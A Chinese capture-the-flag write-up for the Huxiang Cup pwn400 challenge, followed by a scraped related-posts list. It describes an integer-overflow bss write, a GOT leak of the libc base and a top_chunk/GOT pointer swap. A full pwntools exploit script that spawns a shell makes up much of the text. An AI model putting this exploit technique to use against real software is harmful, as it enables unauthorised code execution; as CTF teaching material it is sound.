1. 程式人生 > >湖湘杯pwn400的wp

湖湘杯pwn400的wp

湖湘杯的pwn比賽很有趣,我做了pwn300的題目,感覺不錯,我把wp分享出來,pwns的下載連結是: http://download.csdn.net/download/niexinming/10152069
把pwn400直接拖入ida中:
main函式:
image
Create Profile函式:
image
Print Profile函式:
image
Update Profile函式:
image
Exchange函式:
image

這個題目有點難度,我花了三天才搞定,題目的流程不難,首先建立Profile,當名字的長度小於8的時候會把資料寫入bss段,資料的長度值nbytes會放入資料的後面,大於8的時候會malloc一個空間,把輸入寫入堆中,而指標會儲存在bss段,而資料的長度值nbytes也會儲存在指標的後面,更新Profile的時候也會做相同的操作,列印資料的時候會把名字輸出,可以用這個功能洩露程式任意地址的任意資料,Exchange可以交換兩個地址的資料,可以利用這個來getshell
先執行一下程式看一下這個程式幹了啥:
image


再看看程式開啟了哪些保護:
image
看到這個程式開了棧不可執行,於是肯定就會想到用rop來做
這個程式有兩個地方可以利用:
(1)是建立的Profile,名字長度如果小於8就把資料寫入bss段中,但是你可以輸入負數,如果是負數的話,就可以造成整數溢位,你就可以在bss段中寫入任意長度的資料,就可以覆蓋後面的長度值nbytes為任意數值,這樣你可以偽造一個任意長度的資料,在print函式中可以看到如果nbytes長度小於8就去讀bss中的資料,如果nbytes大於8就會去讀bss中的指標指向的資料,如果我們偽造nbytes的話就可以讓print Profile函式去讀任意地址的資料,通過got表可以計算出libc的基地址
(2)是Exchange函式可以交換任意兩個指標,但是兩個指標都是要有寫許可權的,程式中許可權可以通過vmmap來檢視
image

這個地方是難點,解決方法是:用top_chunk 指標和[email protected]指標進行交換,第二次堆分
配時候可以分配到我想要的位置,就可以把想要資料寫入[email protected]中,當下回撥用read的時候就可以跳到MAGIC中getshell了,關於top_chunk的介紹可以參考https://www.cnblogs.com/alisecurity/p/5486458.html,找top_chunk地址的思路可以參考 http://www.freebuf.com/articles/rookie/155971.html 這個文章
我的exp

#!/usr/bin/env python
# -*- coding: utf-8 -*- __Auther__ = 'niexinming' from pwn import * import binascii context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug') localMAGIC=0x5fbc6 localmain_arena=0x001B2780 def debug(addr = '0x08048BA6'): raw_input('debug:') gdb.attach(io, "b *" + addr) def base_addr(prog_addr,sysmbol,offset): if sysmbol=='min': return eval(prog_addr)-offset else: return eval(prog_addr) + offset def cr_up_profile(choose,name_len,name,age): io.recvuntil('>') io.send(choose) io.recv() io.sendline(name_len) io.recvuntil('Input your name:\n') io.sendline(name) io.recvuntil('Input your age:\n') io.sendline(age) def print_profile(address): io.recvuntil(">") io.sendline('2') data = io.recv().splitlines()[0][11:15][::-1] log.info("%#x => %s" % (address, (data or '').encode('hex'))) return data def change_age(address1,address2): io.sendline('4') io.recvuntil('Person 1:') io.send(p32(address1)) io.recvuntil('Person 2:') io.send(p32(address2)) def leak(address): payload = p32(address) + 'a' * 4 + p32(10) cr_up_profile('3','-10',payload,'10') return print_profile(address) def getshell(address1,address2,address3): change_age(address1,address2) cr_up_profile('3','20',address3,'20') #libc addr libc=ELF('/lib/i386-linux-gnu/libc.so.6') symbols = ['environ', '_environ', '__environ'] for symbol in symbols: environ = libc.symbols[symbol] print "environ:"+hex(environ) head=libc.symbols['__curbrk'] print "head:"+hex(head) system=libc.symbols['system'] print "system:"+hex(system) __malloc_hook=libc.got['__malloc_hook'] print "__malloc_hook:"+hex(__malloc_hook) #profile addr elf = ELF('/home/h11p/hackme/huxiangbei/profile') printf_addr=elf.got['printf'] puts_addr=elf.got['puts'] atoi_addr=elf.got['atoi'] malloc_addr=elf.got['malloc'] __isoc99_scanf_addr=elf.got['__isoc99_scanf'] read_addr=elf.got['read'] print "printf_addr:"+hex(printf_addr) print "puts_addr:"+hex(puts_addr) print "atoi_addr:"+hex(atoi_addr) print "malloc_addr:"+hex(malloc_addr) print "__isoc99_scanf_addr:"+hex(__isoc99_scanf_addr) print "read_addr:"+hex(read_addr) io = process('/home/h11p/hackme/huxiangbei/profile') #debug() #create profile cr_up_profile('1','10','a'*8,'1'*12) #leak libc base libc_base=base_addr("0x"+binascii.b2a_hex(leak(printf_addr)),'min',0x49670) #0x49670 #get libc func addr print "libc_base:"+hex(libc_base) MAGIC_addr=libc_base+localMAGIC print "MAGIC_addr:"+hex(MAGIC_addr) environ_addr=libc_base+environ print "environ_addr:"+hex(environ_addr) head_addr=libc_base+head print "head_addr:"+hex(head_addr) main_arena_addr=libc_base+localmain_arena print "main_arena_addr:"+hex(main_arena_addr) topchunk=main_arena_addr+0x30 print "topchunk:"+hex(topchunk) system_addr=libc_base+system print "system_addr:"+hex(system_addr) __malloc_hook_addr=libc_base+__malloc_hook print "__malloc_hook_addr:"+hex(__malloc_hook_addr) ''' libc_start_main=base_addr("0x"+binascii.b2a_hex(leak(environ_addr)),'min',0xa0) print "libc_start_main:"+hex(libc_start_main) head_addr_input=base_addr('0x'+binascii.b2a_hex(leak(head_addr+1))+'00','min',0x20fe8) print "head_addr_input:"+hex(head_addr_input) ''' #getshell getshell(topchunk-0xc,0x0804B004-0x8,'a'*8+p32(MAGIC_addr)) io.interactive() io.close()

相關推薦

2017Writeup

andro apktool lte .html 數據 任務 tex 分析 打開 RE部分 0x01 Re4newer 解題思路: Step1:die打開,發現有upx殼。 Step2:脫殼,執行upx -d 文件名即可。 Step3:IDA打開,shift+F1

Bugku Writeup —檔案上傳2()

我們先來看下題目,題目說明是檔案上傳   我們可以嘗試通過構造payload來進行測試 php://filter/read=convert.base64-encode/resource=flag 獲取到flag,之後進行解碼,得到真正的flag 總結: 題目考察的是檔案包含漏洞。

Bugku Writeup —文件上傳2()

16px 文件 分享 size 如果 小夥伴 ase write 解碼 我們先來看下題目,題目說明是文件上傳 我們可以嘗試通過構造payload來進行測試 php://filter/read=convert.base64-encode/resource=fla

2018/11/19-Re-Common Crypto

Common Crypto 題目連結:https://pan.baidu.com/s/1NMXHOyu8F6YzbjDx84I2eg 提取碼:qt6u    首先要求輸入32個字元,然後接著兩個函式的是對輸入的前16位進行aes加密。     在第一個函式是

2018/11/19-Re-Replace

 Replace 題目連結:https://pan.baidu.com/s/1kASjMHQYrQsHCYPEAIyk9w 提取碼:f5j9  我們首先用IDA開啟,發現沒有多少東西,可以猜到是加了殼的。   使用Peid進行查殼,發現是UPX殼。   Up

CTF 2018 WriteUp (部分)

湖湘杯 2018 WriteUp (部分),歡迎轉載,轉載請註明出處! 1、  CodeCheck(WEB) 測試admin ‘ or ‘1’=’1’# ,php報錯。點選登入框下面的滾動通知,URL中有id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09,想到注入,但是不管輸

2018/11/26--Replace

題目連結:https://pan.baidu.com/s/1PNNAo2Ive4K7eYEifVIwsQ 提取碼:8b2v 用Exeinfo PE查殼發現是UPX殼 使用UPX-3.95(可以在吾愛破解Tools->Packers可以下到)的upx -d 命令脫殼 然後我們在IDA裡找到

-hxb2018-writeup

No pwn_No re_No_crypto 1、 code_check 解題思路、相關程式碼和Flag截圖: 連結:http://47.107.107.94:49882/login.php 目錄掃描得到list.php原始碼,發現id引數是一個加密的引數,通過

2017pwn200_wp_格式化字串漏洞

本文是格式化字串漏洞的利用,題目為2017年湖湘杯pwn200,題目檔案 0x0001 看檔案型別為elf檔案,用  binwalk  檢視一下: 一個32位的檔案,用IDA看看: main函式: sub_80485CD(): 這裡可以大致知道這個程式

pwn400的wp

湖湘杯的pwn比賽很有趣,我做了pwn300的題目,感覺不錯,我把wp分享出來,pwns的下載連結是: http://download.csdn.net/download/niexinming/10152069 把pwn400直接拖入ida中: main函

杭州IC重磅! 2018“青山”微納智造創新挑戰賽報名開始

眾所周知,大到關乎國防安全的軍事裝備、雷達衛星,中到作為基礎設施的網際網路、資料中心,小到生活中常用的汽車、手機,都離不開以積體電路(IC)為核心的微納器件,而工業企業向高附加值邁進,也離不開智慧製造系統的助推和智慧終端市場的拉動。 西湖以西二十多公里,浙江杭州青山湖科技城作為浙江省委省

藍橋——算法訓練之乘積最大

算法 char 朋友 題意 man time space margin family 問題描寫敘述   今年是國際數學聯盟確定的“2000——世界數學年”,又恰逢我國著名數學家華羅庚先生誕辰90周年。在華羅庚先生的家鄉江蘇金壇,組織了一場別開生面的數學智力競賽的活動

布局and雙飛翼布局

content 尺寸 元素 不一定 oot alt ctype 間距 mar *聖杯布局 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <ti

藍橋實例之開發板特點

單片機 以及 三種 one size 分享 總結 為什麽 實驗 本人之前參加了藍橋杯,下面我將總結一下我的經歷,由於本人技能有限,請多見諒! 我之前用過幾種51的板子,說說藍橋杯的板子: 首先開發板設置了三種芯片的插座,說實話,我估計設計者是出於性價比高的考慮,如果

小朋友排隊--第五屆藍橋

code als ann 沒有 clas art 相對 pri rgs 第一種,直接思考的方法,不知對不正確: /* * 標題:小朋友排隊 n 個小朋友站成一排。如今要把他們按身高從低到高的順序排列,可是每次僅僅能交換位置相鄰的兩個小朋友。 每一個小朋友都有一個

雙飛翼布局和聖布局解析

出現 解釋 它的 詳細 部分 style image 簡單 延伸 今天突然想起了溫習一下css布局。之前看雙飛翼布局只是粗略的看了一下,大概明白怎麽做,但是並沒有去延伸一下...還有它的孿生兄弟:聖杯布局。今天仔細的琢磨了一下;突然發現其實內容還不少的樣子。 雙飛翼布局或者

藍橋 - 連號區間數

clu rmq template 最大 時間 最大值和最小值 所有 mes button 歷屆試題 連號區間數 時間限制:1.0s 內存限制:256.0MB 錦囊1 並查集。 錦囊2 從左到右掃描數組,將所有掃描到的數放到並查集中,將相鄰的數

第四屆(13年)藍橋java B組決賽真題

pla 標題 boolean pub for ide 真題 code one 1、標題:猜燈謎(填空) A 村的元宵節燈會上有一迷題: 請猜謎 * 請猜謎 = 請邊賞燈邊猜 小明想,一定是每個漢字代表一個數字,不同的漢字代表不同的數字。

算法筆記_204:第四屆藍橋軟件類決賽真題(Java語言C組)

系統 主類 文字 新節點 origin pack log 破壞 src 目錄 1 好好學習 2 埃及分數 3 金蟬素數 4 橫向打印二叉樹 5 危險系數 6 公式求值 1 好好學習 湯姆跟爺爺來中國旅遊。一天,他幫助中國的小朋友貼標語。他負責貼的標語是分別寫在四

算法筆記_206:第五屆藍橋軟件類決賽真題(Java語言A組)

理論 cnblogs 條件 font 9.png 生成 true 突變 幻方 目錄 1 海盜分金幣 2 六角幻方 3 格子放雞蛋 4 排列序數 5 冪一矩陣 6 供水設施 1 海盜分金幣 有5個海盜,相約進行一次帆船比賽。 比賽中天氣發生突變,他們被沖